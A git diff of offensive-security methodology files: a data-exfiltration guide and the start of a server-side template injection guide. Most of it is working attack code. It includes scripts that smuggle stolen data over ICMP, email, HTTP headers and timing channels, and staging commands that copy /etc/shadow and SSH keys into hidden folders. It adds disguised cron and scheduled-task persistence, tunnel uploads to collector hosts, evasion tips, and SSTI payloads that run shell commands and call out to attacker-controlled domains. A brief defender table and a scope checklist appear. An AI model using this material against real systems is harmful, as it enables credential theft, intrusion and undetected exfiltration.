-ptunnel-ng -r<ATTACK_IP> -R22
+## Steganography
-# On the compromised host (client)
-ptunnel-ng -p<ATTACK_IP> -l2222 -r<ATTACK_IP> -R22
+MITRE: T1001.002 -- Data Obfuscation: Steganography
-# Now SSH through the ICMP tunnel
-ssh -p 2222 [email protected]
+### Image
-# Transfer files through the SSH-over-ICMP tunnel
-scp -P 2222 loot.enc [email protected]:/tmp/loot/
+```bash
+steghide embed -cf carrier.jpg -ef secret.enc -p "Pass" -f # JPEG/BMP
+steghide extract -sf carrier.jpg -p "Pass" -xf out.enc
+zsteg carrier.png # PNG analysis
+openstego embed -mf secret.enc -cf cover.png -sf stego.png -p "Pass"
+```
+
+```python
+from PIL import Image
+import struct
+
+def lsb_embed(cover_path, data, output_path):
+ img = Image.open(cover_path); pixels = list(img.getdata())
+ payload = struct.pack(">I", len(data)) + data
+ bits = []
+ for byte in payload:
+ for i in range(7, -1, -1): bits.append((byte >> i) & 1)
+ if len(bits) > len(pixels) * 3: raise ValueError("Payload too large")
+ idx = 0; new_pixels = []
+ for px in pixels:
+ np = list(px)
+ for c in range(min(3, len(np))):
+ if idx < len(bits): np[c] = (np[c] & 0xFE) | bits[idx]; idx += 1
+ new_pixels.append(tuple(np))
+ out = Image.new(img.mode, img.size); out.putdata(new_pixels); out.save(output_path)
```
-### Custom ICMP Exfiltration
+### Audio
```python
-# Manual ICMP data exfiltration using scapy
-from scapy.all import IP, ICMP, Raw, send
-import time
-import random
-
-def exfil_icmp(filepath, target_ip, chunk_size=32, delay_range=(0.5, 2.0)):
- """Exfiltrate data in ICMP echo request payloads."""
- with open(filepath, 'rb') as f:
- data = f.read()
-
- seq = 0
- for i in range(0, len(data), chunk_size):
- chunk = data[i:i+chunk_size]
- # Prefix with sequence number for reassembly
- payload = seq.to_bytes(4, 'big') + chunk
- pkt = IP(dst=target_ip) / ICMP(type=8, id=0x1337, seq=seq) / Raw(load=payload)
- send(pkt, verbose=False)
- seq += 1
- time.sleep(random.uniform(*delay_range))
+import wave, struct
+
+def wav_lsb_embed(cover_wav, data, output_wav):
+ with wave.open(cover_wav, "rb") as w:
+ params = w.getparams(); frames = bytearray(w.readframes(w.getnframes()))
+ payload = struct.pack(">I", len(data)) + data
+ bits = []
+ for byte in payload:
+ for i in range(7, -1, -1): bits.append((byte >> i) & 1)
+ for i, bit in enumerate(bits): frames[i] = (frames[i] & 0xFE) | bit
+ with wave.open(output_wav, "wb") as w: w.setparams(params); w.writeframes(bytes(frames))
+```
+
+### Document Metadata
- # Send completion marker
- end_payload = seq.to_bytes(4, 'big') + b'EXFIL_DONE'
- send(IP(dst=target_ip) / ICMP(type=8, id=0x1337, seq=seq) / Raw(load=end_payload), verbose=False)
+```bash
+exiftool -Comment="$(base64 secret.enc)" carrier.jpg # EXIF embed
+cat carrier.jpg secret.enc > output.jpg # append after FFD9
```
-OPSEC note: Large or frequent ICMP packets are anomalous. Keep payload sizes
-small (under 64 bytes per packet) and add realistic jitter. Some IDS/IPS
-inspect ICMP payload content for non-standard data.
+```python
+from PyPDF2 import PdfReader, PdfWriter
+def pdf_metadata_exfil(pdf_path, data_b64, output_path):
+ reader = PdfReader(pdf_path); writer = PdfWriter()
+ for page in reader.pages: writer.add_page(page)
+ chunks = [data_b64[i:i+1000] for i in range(0, len(data_b64), 1000)]
+ writer.add_metadata({f"/Custom{i:04d}": c for i, c in enumerate(chunks)})
+ with open(output_path, "wb") as f: writer.write(f)
+```
---
-## Email-Based Exfiltration
+## Encoding and Encryption
-Email exfiltration leverages existing SMTP/IMAP infrastructure. It blends
-with normal email traffic and can bypass network controls that allow
-outbound mail.
+### Base64 / Hex / Base32 Chunking
```bash
-# Send exfiltrated data as an email attachment via command line
-# Using sendmail or mail command
-cat loot.enc | base64 | mail -s "Q3 Report" [email protected]
-
-# Using PowerShell on Windows
-$msg = New-Object System.Net.Mail.MailMessage
-$msg.From = "[email protected]"
-$msg.To.Add("[email protected]")
-$msg.Subject = "Monthly Report"
-$msg.Attachments.Add("C:\Users\Public\data.zip")
-$smtp = New-Object System.Net.Mail.SmtpClient("mail.corp.local")
-$smtp.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
-$smtp.Send($msg)
+base64 -w0 staged.tar.gz | fold -w 60 > /tmp/chunks.txt # base64 chunks
+xxd -p staged.enc > staged.hex # hex for DNS labels
+python3 -c "import base64; print(base64.b32encode(open('staged.enc','rb').read()).decode())"
```
-```python
-# SMTP exfiltration with chunked attachments
-import smtplib, os
-from email.mime.multipart import MIMEMultipart
-from email.mime.base import MIMEBase
-from email import encoders
-
-def exfil_email(filepath, smtp_server, from_addr, to_addr, chunk_mb=5):
- """Exfiltrate data as email attachments, chunked to avoid size limits."""
- with open(filepath, 'rb') as f:
- part = 0
- while chunk := f.read(chunk_mb * 1024 * 1024):
- msg = MIMEMultipart()
- msg['From'], msg['To'] = from_addr, to_addr
- msg['Subject'] = f'Monthly Analytics Report Part {part + 1}'
- att = MIMEBase('application', 'octet-stream')
- att.set_payload(chunk)
- encoders.encode_base64(att)
- att.add_header('Content-Disposition', f'attachment; filename="report_p{part}.dat"')
- msg.attach(att)
- with smtplib.SMTP(smtp_server) as s:
- s.send_message(msg)
- part += 1
-```
-
-OPSEC note: DLP systems commonly inspect outbound email for sensitive data
-patterns (SSNs, credit card numbers, keywords). Encrypt data before
-attaching. Large or numerous attachments trigger volumetric alerts.
+### XOR
----
+```python
+def xor_encrypt(data, key):
+ kb = key.encode() if isinstance(key, str) else key
+ return bytes(b ^ kb[i % len(kb)] for i, b in enumerate(data))
+```
-## Steganography
+### AES-256-GCM
-Steganography hides data within innocent-looking files -- images, audio,
-documents. Useful when you need to exfiltrate through channels with content
-inspection.
+```python
+from Crypto.Cipher import AES
+from Crypto.Random import get_random_bytes
+import hashlib
+
+def aes_encrypt_file(infile, outfile, password):
+ salt = get_random_bytes(16)
+ key = hashlib.pbkdf2_hmac("sha256", password.encode(), salt, 100000)
+ cipher = AES.new(key, AES.MODE_GCM)
+ with open(infile, "rb") as f: pt = f.read()
+ ct, tag = cipher.encrypt_and_digest(pt)
+ with open(outfile, "wb") as f: f.write(salt + cipher.nonce + tag + ct)
+
+def aes_decrypt_file(infile, outfile, password):
+ with open(infile, "rb") as f: d = f.read()
+ key = hashlib.pbkdf2_hmac("sha256", password.encode(), d[:16], 100000)
+ pt = AES.new(key, AES.MODE_GCM, nonce=d[16:32]).decrypt_and_verify(d[48:], d[32:48])
+ with open(outfile, "wb") as f: f.write(pt)
+```
```bash
-# LSB steganography with steghide (JPEG/BMP/WAV/AU)
-steghide embed -cf cover_image.jpg -ef loot.enc -p "passphrase" -f
-steghide extract -sf cover_image.jpg -p "passphrase"
+openssl enc -aes-256-cbc -salt -pbkdf2 -in data.tar.gz -out data.enc -pass pass:Key
```
-For PNG files, LSB encoding replaces the least significant bit of each color
-channel with one bit of your data. Use PIL/Pillow to iterate pixels, apply
-`(channel & 0xFE) | data_bit` per channel, and save. The image appears
-visually identical but carries embedded data.
+---
-```bash
-# Embed data in image EXIF metadata
-exiftool -Comment="$(base64 loot.enc)" cover_image.jpg
+## Covert Channels
-# Embed in document metadata
-exiftool -Author="$(base64 loot.enc | head -c 65000)" document.pdf
+### HTTP Header Encoding
-# Append data after JPEG end-of-image marker
-cat cover_image.jpg loot.enc > output.jpg
-# The image renders normally; data is appended after FFD9 marker
+```python
+import base64, urllib.request
+
+def http_header_exfil(data, url, chunk_size=256):
+ encoded = base64.b64encode(data).decode()
+ for seq, i in enumerate(range(0, len(encoded), chunk_size)):
+ req = urllib.request.Request(url)
+ req.add_header("X-Request-ID", f"{seq:06d}")
+ req.add_header("X-Correlation-Token", encoded[i:i+chunk_size])
+ try: urllib.request.urlopen(req)
+ except Exception: pass
```
-```powershell
-# Alternate Data Streams (Windows NTFS only, does not survive copy to non-NTFS)
-# Hide data in an ADS
-cmd /c "type loot.enc > C:\Users\Public\report.docx:hidden"
-# Extract
-cmd /c "more < C:\Users\Public\report.docx:hidden > C:\Users\Public\extracted.enc"
+### chisel SOCKS Tunnel
+
+```bash
+chisel server --port 8443 --reverse --tls-key server.key --tls-cert server.crt
+chisel client --header "User-Agent: Mozilla/5.0" https://server:8443 R:9050:socks
+curl --socks5 127.0.0.1:9050 -X PUT -T /tmp/staged.enc http://collector/upload
```
----
+### IP ID Field Encoding
-## Covert Channels and Timing-Based Exfiltration
+```python
+from scapy.all import IP, TCP, send
+def ip_id_exfil(data, dest_ip, port=80):
+ for i, byte in enumerate(data):
+ send(IP(dst=dest_ip, id=byte)/TCP(dport=port, sport=12345+i, flags="S"), verbose=False)
+```
-When all standard protocols are monitored, you use side channels that encode
-data in timing patterns or protocol fields not normally inspected.
+### Timing Channels
```python
-# Timing-based covert channel: encode bits as inter-packet delays
-import time
-import socket
-
-def exfil_timing(data, target_ip, target_port, bit_0_delay=0.1, bit_1_delay=0.5):
- """Encode data in TCP connection timing intervals."""
- bits = ''.join(format(b, '08b') for b in data)
-
- for bit in bits:
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sock.settimeout(2)
- try:
- sock.connect((target_ip, target_port))
- except Exception:
- pass
- finally:
- sock.close()
-
- if bit == '0':
- time.sleep(bit_0_delay)
- else:
- time.sleep(bit_1_delay)
-```
-
-You can also encode data in protocol header fields that are not normally
-inspected: the IP Identification field (1 byte per packet), TCP sequence
-numbers (4 bytes per SYN), or TCP urgent pointer. Use scapy to craft
-packets with `IP(dst=target, id=byte_val) / TCP(dport=port, flags='S')`.
-
-OPSEC note: Timing channels are extremely slow (bits per second) but nearly
-impossible to detect without specialized analysis. Use them only when no
-other channel is available and data volume is small (passwords, keys).
+import time, socket
+
+def timing_exfil(data, dest_ip, dest_port, bit_time=0.1):
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ sock.connect((dest_ip, dest_port))
+ for byte in data:
+ for i in range(7, -1, -1):
+ bit = (byte >> i) & 1
+ time.sleep(bit_time * 2 if bit else bit_time)
+ sock.send(b"\x00")
+ sock.close()
+```
+
+Timing channels: bits/second throughput, nearly undetectable. Use for keys and passwords only.
---
-## Physical Exfiltration
+## Data Staging
-For air-gapped networks or environments with extreme network monitoring,
-physical methods bypass all network-based controls.
+MITRE: T1074.001 -- Local Data Staging; T1029 -- Scheduled Transfer; T1030 -- Data Transfer Size Limits
-```bash
-# USB dead drop -- prepare an encrypted USB drive
-# On your prep machine
-cryptsetup luksFormat /dev/sdb1
-cryptsetup open /dev/sdb1 exfil
-mkfs.ext4 /dev/mapper/exfil
-mount /dev/mapper/exfil /mnt/usb
+### Linux Pipeline
-# On the target -- copy data to USB
-cp -r /path/to/sensitive/data /media/usb/
-sync
-umount /media/usb
+```bash
+mkdir -p /tmp/.cache/updates
+cp /etc/shadow /home/*/.ssh/id_rsa /tmp/.cache/updates/ 2>/dev/null
+tar czf /tmp/.cache/updates/pkg.tar.gz -C /tmp/.cache/updates .
+openssl enc -aes-256-cbc -salt -pbkdf2 -in /tmp/.cache/updates/pkg.tar.gz \
+ -out /tmp/.cache/updates/pkg.enc -pass pass:EngagementKey
+split -b 65536 /tmp/.cache/updates/pkg.enc /tmp/.cache/updates/chunk_
+sha256sum /tmp/.cache/updates/chunk_* > /tmp/.cache/updates/manifest.sha256
+```
-# QR code exfiltration (for small data like keys/passwords)
-# Generate QR codes from data, photograph them with a phone
-qrencode -o qr_output.png -s 6 "$(cat ssh_key | base64)"
+### Windows Pipeline
-# For larger data, generate multiple QR codes
-split -b 2000 loot.b64 qr_chunk_
-for f in qr_chunk_*; do
- qrencode -o "${f}.png" -s 4 "$(cat $f)"
-done
-# Photograph the QR codes with a mobile device camera
+```powershell
+$s = "$env:LOCALAPPDATA\Microsoft\Windows\WebCache\V01"
+New-Item -ItemType Directory -Force -Path $s | Out-Null
+Copy-Item "C:\Users\*\Documents\*.docx","C:\Users\*\.ssh\*" $s -Force 2>$null
+Compress-Archive -Path "$s\*" -DestinationPath "$s\update.zip" -Force
+# Encrypt with .NET AES, prepend IV to ciphertext, split into 64KB chunks
```
-For programmatic QR generation, use the `qrcode` Python library with `{seq}:{total}:{data}` prefixes for reassembly.
+### Scheduled Transfers
-OPSEC note: Physical exfiltration requires physical access and carries the
-risk of discovery by personnel. USB usage may be logged by endpoint DLP
-agents (event 6416 on Windows for PnP device connection). QR code
-exfiltration is limited to small data volumes but leaves no digital trail.
+```bash
+# Cron -- one chunk every 30 min during business hours
+(crontab -l 2>/dev/null; echo "*/30 8-17 * * 1-5 /tmp/.cache/exfil.sh") | crontab -
+```
+
+```powershell
+$action = New-ScheduledTaskAction -Execute "powershell.exe" `
+ -Argument "-WindowStyle Hidden -File C:\staged\exfil.ps1"
+$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) `
+ -RepetitionInterval (New-TimeSpan -Minutes 30)
+Register-ScheduledTask -TaskName "WindowsUpdateCheck" -Action $action -Trigger $trigger
+```
---
## Detection / Defender View
-| Technique | Primary Detection | Key Indicators |
-|-----------|------------------|----------------|
-| DNS tunneling | DNS query analysis | High query volume, long labels, high entropy, TXT to uncommon domains |
-| dnscat2 | DNS payload inspection | CNAME/TXT responses with encoded data, consistent query patterns |
-| iodine | DNS anomaly detection | NULL record queries, large DNS packets, tunnel negotiation patterns |
-| HTTPS tunneling | TLS inspection, netflow | Sustained connections, high upload volume to uncommon hosts |
-| Domain fronting | TLS inspection | SNI/Host header mismatch (requires TLS interception) |
-| Cloud dead drops | CASB, proxy logs | PUT/POST to cloud storage from unexpected hosts |
-| ICMP tunneling | ICMP payload analysis | Non-standard payload sizes, high ICMP frequency, data in payloads |
-| Email exfil | DLP, mail gateway | Large or encrypted attachments, unusual recipients |
-| Steganography | Statistical analysis | LSB anomalies, appended data after file markers, large EXIF fields |
-| Timing channels | Statistical traffic analysis | Unusual inter-packet delay distributions |
-| USB exfil | Endpoint DLP | PnP device events (6416), USB write activity |
-
-Key defender controls:
-- **DNS monitoring** (passive DNS, query logging) detects most DNS tunneling by volume, entropy, and domain reputation.
-- **TLS inspection** proxies break domain fronting and enable content inspection of HTTPS traffic.
-- **DLP systems** inspect outbound data for sensitive patterns at the network, email, and endpoint levels.
-- **CASB** (Cloud Access Security Broker) monitors and controls cloud service usage.
-- **Endpoint DLP agents** log USB writes, clipboard activity, and print operations.
-- **Network flow analysis** detects sustained or volumetric anomalies in any protocol.
-- **Sysmon** with network connection logging (event 3) captures outbound connections to unusual destinations.
-- **YARA rules** on egress proxies detect known tool signatures in transit.
+| Technique | Detection Signal | Defender Tool |
+|-----------|-----------------|---------------|
+| DNS exfil | High query volume, long labels, high entropy, unusual record types | Passive DNS, Zeek dns.log, entropy scoring |
+| HTTPS tunnel | Persistent TLS, beaconing, JA3 mismatch, SNI/Host mismatch | TLS inspection, JA3 fingerprinting, NetFlow |
+| ICMP tunnel | Large payloads, high ICMP volume, non-standard payload data | IDS payload rules, Zeek conn.log |
+| Cloud dead drops | PUT to unfamiliar cloud endpoints from internal hosts | CASB, proxy logs, cloud API monitoring |
+| Email exfil | Large/encrypted attachments, unusual recipients, draft volume | DLP gateway, Exchange audit logs |
+| Steganography | Entropy anomalies, appended data after markers, stego signatures | StegExpose, file carving |
+| Covert channels | Anomalous headers, irregular timing, non-standard protocol | DPI, protocol anomaly, ML traffic analysis |
+
+### Evasion Notes
+
+- Match DNS query rate to baseline; prefer A/AAAA over TXT/NULL records.
+- Use browser-matching JA3 fingerprints; curl's TLS signature is distinctive.
+- Keep ICMP payloads under 64 bytes. Rotate cloud buckets. Transfer during peak hours.
---
## Engagement Cheatsheet
-```text
-SCENARIO TECHNIQUE TOOL / COMMAND
-------------------------------- -------------------------- ----------------------------------------
-DNS egress allowed DNS tunnel (full) dnscat2 / iodine
-DNS only, no infra control DNS query encoding PacketWhisper / custom dig loop
-HTTPS egress allowed HTTPS upload curl POST / Python requests
-HTTPS with domain filtering Domain fronting curl -H "Host: real.c2" https://cdn.com
-Cloud endpoints whitelisted Cloud dead drop Pre-signed S3/Azure/GCS URLs
-SMTP egress allowed Email attachment mail / PowerShell Send-MailMessage
-Only ICMP allowed ICMP tunnel ptunnel-ng / icmpsh
-Content inspection active Steganography steghide / LSB encoding / EXIF embed
-Extreme monitoring, small data Timing channel Custom inter-packet delay encoding
-Air-gapped network Physical USB dead drop / QR codes
-Need reliable IP tunnel DNS IP tunnel iodine (creates tun interface)
-Large volume, speed needed HTTPS chunked upload Python chunked POST with jitter
-Credential/key only (small) QR code qrencode + camera
-Need to blend with traffic Encrypted cloud upload AES + pre-signed URL to major cloud
-```
-
-MITRE ATT&CK references:
-- T1048 -- Exfiltration Over Alternative Protocol (.001 Symmetric Encrypted, .002 Asymmetric Encrypted, .003 Unencrypted)
-- T1041 -- Exfiltration Over C2 Channel
-- T1567 -- Exfiltration Over Web Service (.002 Exfiltration to Cloud Storage)
-- T1071 -- Application Layer Protocol (.001 Web, .004 DNS)
-- T1572 -- Protocol Tunneling
-- T1029 -- Scheduled Transfer
-- T1030 -- Data Transfer Size Limits
-- T1560 -- Archive Collected Data (.001 Archive via Utility)
-- T1052 -- Exfiltration Over Physical Medium (.001 USB)
-- T1001 -- Data Obfuscation (.001 Junk Data, .002 Steganography, .003 Protocol Impersonation)
+| Scenario | Channel | Tool | Notes |
+|----------|---------|------|-------|
+| Only port 53 | DNS tunnel | iodine, dnscat2 | Slow; slow-drip for stealth |
+| DNS, no infra | DNS query encoding | PacketWhisper | No auth NS needed |
+| Web access | HTTPS | chisel, curl | Fastest; blend with traffic |
+| Domain filtering | Domain fronting | curl + CDN | CDN must allow fronting |
+| Ping allowed | ICMP | ptunnel-ng, icmpsh | Limited BW; keys/creds |
+| Cloud access | Dead drop | S3/Azure/GCS URLs | No client tools needed |
+| Email available | SMTP/EWS/draft | smtplib, exchangelib | Draft = no sent evidence |
+| Content inspection | Stego + HTTPS | steghide + curl | Carrier must look normal |
+| Extreme monitoring | Timing channel | Custom Python | Bits/sec; near-undetectable |
+| Single file < 1MB | DNS TXT | Custom script | No tools to drop |
+| Large dataset > 1GB | HTTPS or cloud | chisel, presigned URL | Daily chunks |
+
+### Pre-Exfil Checklist
+
+- Verify exfil is in scope per RoE
+- Identify egress channels; stage in innocuous directory
+- Compress, encrypt (AES-256 min), split into channel-sized chunks
+- Generate SHA-256 manifest; test with canary file first
+- Set rate below detection thresholds; verify receipt and integrity
+- Securely delete staging and tools; document exfil chain for report
---
## Key References
+- MITRE ATT&CK Exfiltration (TA0010): https://attack.mitre.org/tactics/TA0010/
+- T1048, T1041, T1567, T1029, T1030, T1132, T1001
- dnscat2: https://github.com/iagox86/dnscat2
- iodine: https://github.com/yarrick/iodine
-- PacketWhisper: https://github.com/TryCatchHCF/PacketWhisper
+- dns2tcp: https://github.com/alex-sector/dns2tcp
+- chisel: https://github.com/jpillora/chisel
+- ptunnel-ng: https://github.com/lnslbrty/ptunnel-ng
- icmpsh: https://github.com/bdamele/icmpsh
-- ptunnel-ng: https://github.com/utoni/ptunnel-ng
- steghide: https://steghide.sourceforge.net/
-- chisel: https://github.com/jpillora/chisel
-- MITRE ATT&CK Exfiltration: https://attack.mitre.org/tactics/TA0010/
-- SANS -- Data Exfiltration Techniques: https://www.sans.org/white-papers/
-- The Hacker Recipes -- Exfiltration: https://www.thehacker.recipes/
+- PacketWhisper: https://github.com/TryCatchHCF/PacketWhisper
+- OpenStego: https://www.openstego.com/
+- zsteg: https://github.com/zed-0xff/zsteg
diff --git a/Skills/web/offensive-ssti/SKILL.md b/Skills/web/offensive-ssti/SKILL.md
index 6745e23..7210ac6 100644
--- a/Skills/web/offensive-ssti/SKILL.md
+++ b/Skills/web/offensive-ssti/SKILL.md
@@ -1,371 +1,299 @@
---
name: offensive-ssti
-description: "Server-Side Template Injection methodology covering detection through exploitation across all major template engines. Includes polyglot detection strings and engine fingerprinting decision trees, engine-specific exploitation for Jinja2 (MRO sandbox escape), Twig (_self.env gadgets), Freemarker (Execute class), Velocity (Runtime.exec), Pebble (java.lang.Runtime), Smarty (literal tag abuse), Mako (module.os), Handlebars (prototype pollution to RCE), ERB (system/exec), and Thymeleaf (SpEL expression injection). Covers blind SSTI via time-based delays, OOB DNS exfiltration, and error inference. Addresses filter bypass through encoding, string concatenation, attribute access alternatives, and WAF evasion. Maps exploitation in modern frameworks including Flask, Django, Spring Boot, Express, and Rails. Details chaining paths from SSTI to SSRF, file read, and full RCE, plus automated exploitation with tplmap and SSTImap."
+description: "Dense description covering Server-Side Template Injection across Jinja2, Twig, Freemarker, Velocity, Pebble, Smarty, Mako, Handlebars, ERB, Thymeleaf, EJS, Pug. Engine fingerprinting, filter bypass, blind exploitation, WAF evasion, SSTI-to-RCE chains. Tools: tplmap. CWE-1336. MITRE T1190. Use when testing template rendering endpoints or exploiting template injection for code execution."
---
-# Server-Side Template Injection (SSTI)
+# Server-Side Template Injection (SSTI) -- Offensive Methodology
-Server-side template injection occurs when user input is concatenated into a template
-string and processed by the template engine as code rather than data. The engine
-evaluates the injected expression, giving you access to the server-side runtime. In
-most engines this leads directly to remote code execution because template languages
-expose access to the underlying language's object model. You find SSTI wherever
-developers pass user input to functions like `render_template_string()`,
-`Template.compile()`, or `new Template()` instead of passing it as a template variable.
+SSTI exists wherever user-controlled input is concatenated into a server-side
+template string and the engine evaluates it as code. The engine executes
+attacker-supplied directives, granting access to the language runtime and, in
+nearly every engine, remote code execution through the host language's object
+model. You encounter SSTI in any application passing raw user input to functions
+like `render_template_string()`, `Template()`, or `compile()`.
+
+CWE-1336. MITRE ATT&CK T1190.
## Quick Workflow
-1. Identify all reflection points: URL parameters, POST bodies, headers, JSON values, path segments.
-2. Inject polyglot detection strings and observe responses for evaluation, errors, or blank output.
-3. Fingerprint the template engine using engine-specific syntax and error signatures.
-4. Confirm server-side execution (not client-side rendering or XSS).
-5. Select engine-specific payloads for information disclosure, file read, or RCE.
-6. Bypass filters and WAF rules using encoding, concatenation, or alternative attribute access.
-7. For blind contexts, use time-based, OOB DNS, or error-based inference techniques.
-8. Chain SSTI to SSRF, file read, or full RCE depending on the engine and sandbox.
+1. Map injection surfaces: URL params, POST bodies, JSON values, path segments, headers, cookies.
+2. Inject polyglot probes and engine-specific arithmetic expressions; note evaluation, errors, or blank output.
+3. Fingerprint the engine via decision-tree probes, error signatures, and variable enumeration (section 1).
+4. Confirm server-side execution -- rule out client-side template injection (AngularJS, Vue.js).
+5. Escalate to information disclosure: dump config, env vars, secrets, internal paths.
+6. Achieve code execution with the engine-specific chain; apply bypass techniques if blocked (section 6).
+7. Chain for higher impact: file read, SSRF to cloud metadata, reverse shell, internal pivot.
+8. Produce non-destructive PoC with unique marker and capture the full request/response chain.
---
-## Detection and Engine Fingerprinting
-
-### Polyglot Detection Strings
+## 1. Engine Detection and Fingerprinting
-Inject these strings into every reflection point. Each one triggers evaluation in
-different engine families, so a single response that shows mathematical evaluation,
-an error traceback, or blank output where the string should appear indicates SSTI.
+### 1.1 Polyglot Probes
```text
-# Universal polyglots - inject these first
-${{<%[%'"}}%\
-{{7*7}}
-${7*7}
-<%= 7*7 %>
-{{7*'7'}}
-#{7*7}
-*{7*7}
-@(7+7)
-
-# Engine-narrowing probes
-{{config}} # Jinja2/Flask - dumps app config
-{{self}} # Jinja2 - returns TemplateReference
-${T(java.lang.Math).PI} # Thymeleaf/SpEL - returns 3.14159...
-${class.getSimpleName()} # Velocity - returns class name
-{$smarty.version} # Smarty - returns version string
-{{_self.env}} # Twig - returns Environment object
-<#assign x=1>${x} # Freemarker - returns 1
-${self.module.__name__} # Mako - returns module name
-```
-
-### Engine Fingerprinting Decision Tree
-
-Use a systematic approach to identify the engine. Start with `{{7*7}}` and branch
-based on the response:
+${{<%[%'"}}%\ Universal polyglot
+{{7*7}} Double-curly arithmetic
+{{7*'7'}} String multiplication (Jinja2 returns 7777777, Twig returns 49)
+<%= 7*7 %> ERB / EJS style
+#{7*7} Pebble / Pug / Thymeleaf contexts
+@(7+7) Razor (.NET)
+```
-```text
-Inject {{7*7}}
- |
- +-- Returns "49" --> Jinja2, Twig, Nunjucks, or Handlebars
- | |
- | +-- Inject {{7*'7'}}
- | +-- Returns "7777777" --> Jinja2 or Nunjucks
- | | +-- Inject {{config}} --> returns config? --> Jinja2 (Flask)
- | | +-- Inject {{range(10)}} --> works? --> Nunjucks
- | +-- Returns "49" --> Twig
- | +-- Error --> Handlebars (limited expression support)
- |
- +-- No output or error --> Try ${7*7}
- | +-- Returns "49" --> Freemarker, Velocity, Mako, or Thymeleaf
- | | +-- Inject ${class} --> returns object? --> Velocity
- | | +-- Inject ${T(java.lang.Math).PI} --> returns pi? --> Thymeleaf (SpEL)
- | | +-- Inject <#assign x=1>${x} --> returns 1? --> Freemarker
- | | +-- Error contains "mako" --> Mako
- | +-- No output --> Try <%= 7*7 %>
- | +-- Returns "49" --> ERB (Ruby) or EJS (Node)
- | +-- Error with "erb" or "Erubi" --> ERB
- | +-- Error with "ejs" --> EJS
- |
- +-- Reflected literally --> Try @(7+7)
- +-- Returns "14" --> Razor (.NET)
- +-- No evaluation --> Likely not vulnerable (or requires different syntax)
-```
-
-### Error-Based Identification
-
-Deliberately trigger errors to extract engine and version information from stack traces:
+Engine-narrowing probes:
```text
-# Trigger division by zero or type errors
-{{7/0}} # Jinja2: ZeroDivisionError traceback
-${7/0} # Freemarker: ArithmeticException
-<%= 7/0 %> # ERB: ZeroDivisionError
-{{foobar}} # Twig: Variable "foobar" does not exist
-${foobar} # Velocity: prints literally (no error, useful signal)
-{{__xxxxxxx__}} # Jinja2: UndefinedError with engine name in traceback
+{{config}} Jinja2/Flask config dict
+{{_self.env}} Twig Environment object
+{$smarty.version} Smarty version string
+<#assign x=1> Freemarker (then reference x in dollar-curly)
```
-### Blind SSTI Detection
+For Velocity, inject `#set( $x = 7 * 7 )` then reference `$x`.
+For Thymeleaf/SpEL, inject a dollar-curly expression with `T(java.lang.Math).PI`.
+For Mako, inject a dollar-curly expression with `self.module.__name__`.
-When output is not reflected (email templates, PDF generation, background jobs), use
-out-of-band and time-based techniques.
+### 1.2 Decision Tree
```text
-# Time-based: cause a measurable delay
-{{range(99999999)|join}} # Jinja2
-${T(java.lang.Thread).sleep(5000)} # Freemarker/Thymeleaf
+{{7*7}} --> 49?
+ YES --> {{7*'7'}} --> "7777777"? --> Jinja2/Nunjucks ({{config}} narrows to Flask)
+ --> "49"? --> Twig
+ --> error? --> Handlebars
+ NO --> dollar-curly with 7*7 --> 49?
+ YES --> dollar-curly with class ref --> Velocity
+ dollar-curly with T(Math).PI --> Thymeleaf
+ <#assign x=1> then ref x --> Freemarker
+ error contains "mako" --> Mako
+ NO --> <%= 7*7 %> --> 49?
+ error with "erb"/"Erubi" --> ERB
+ error with "ejs" --> EJS
+ @(7+7) --> 14? --> Razor
+```
-# OOB DNS/HTTP exfiltration
-{{''.__class__.__mro__[1].__subclasses__()[XXX]('nslookup COLLAB.oastify.com',shell=True,stdout=-1).communicate()}}
-{{'/usr/bin/curl http://COLLAB.oastify.com/'|filter('system')}}
+### 1.3 Error Signatures
-# Error inference: compare responses for {{7*7}} vs {{7*'INVALID}}
-# Different behavior (error page vs normal) confirms engine processing
-```
+| Signature | Engine |
+|--------------------------------------------------|------------|
+| `jinja2.exceptions.UndefinedError` | Jinja2 |
+| `Twig\Error\SyntaxError` | Twig |
+| `freemarker.core.ParseException` | Freemarker |
+| `org.apache.velocity.exception` | Velocity |
+| `com.mitchellbosecke.pebble.error` | Pebble |
+| `SmartyCompilerException` | Smarty |
+| `mako.exceptions.SyntaxException` | Mako |
+| `Parse error` with Handlebars context | Handlebars |
+| `SyntaxError` with ERB path | ERB |
+| `org.thymeleaf.exceptions.TemplateProcessing` | Thymeleaf |
+| `SyntaxError` with `.ejs` path | EJS |
+| `Pug:Error` | Pug |
+
+### 1.4 Blind Detection
+
+**Time-based:** `{{range(99999999)|join}}` (Jinja2), `<%= sleep(5) %>` (ERB).
+For Java engines, inject a dollar-curly with `T(java.lang.Thread).sleep(5000)`.
+
+**OOB DNS:** Use Burp Collaborator or interactsh. Jinja2:
+`{{self.__init__.__globals__.__builtins__.__import__('os').popen('nslookup UNIQUE.oastify.com').read()}}`.
+Twig: `{{['nslookup UNIQUE.oastify.com']|map('system')}}`.
+
+**Error inference:** Compare `{{7*7}}` vs `{{7*'INVALID}}` -- different response
+behavior confirms processing.
---
-## Engine-Specific Exploitation
+## 2. Jinja2 / Python
-### Jinja2 (Python) - MRO Sandbox Escape
+Exploitation relies on MRO traversal to `object`, subclass enumeration, and
+`__globals__`/`__builtins__` access.
-Jinja2's sandboxed mode restricts attribute access, but you bypass it by walking the
-Method Resolution Order (MRO) to reach `object.__subclasses__()` and from there to
-dangerous classes like `subprocess.Popen` or `os._wrap_close`.
+### 2.1 MRO Traversal and Subclass Enumeration
```python
-# Step 1: Reach the object base class via MRO
-{{ ''.__class__.__mro__[1] }}
-# Returns: <class 'object'>
+{{''.__class__.__mro__[1]}} # Reach object base class
+{{''.__class__.__mro__[1].__subclasses__()}} # List all subclasses
-# Step 2: List all subclasses
-{{ ''.__class__.__mro__[1].__subclasses__() }}
-
-# Step 3: Find subprocess.Popen (index varies by Python version)
-# Enumerate at runtime - never hardcode the index
+# Find subprocess.Popen index (varies by Python version -- never hardcode)
{% for cls in ''.__class__.__mro__[1].__subclasses__() %}
- {% if 'Popen' in cls.__name__ %}
- {{ loop.index0 }}: {{ cls }}
- {% endif %}
+ {% if 'Popen' in cls.__name__ %}{{ loop.index0 }}{% endif %}
{% endfor %}
+```
+
+### 2.2 RCE Chains
+
+```python
+# Via subprocess.Popen (replace INDEX with runtime value)
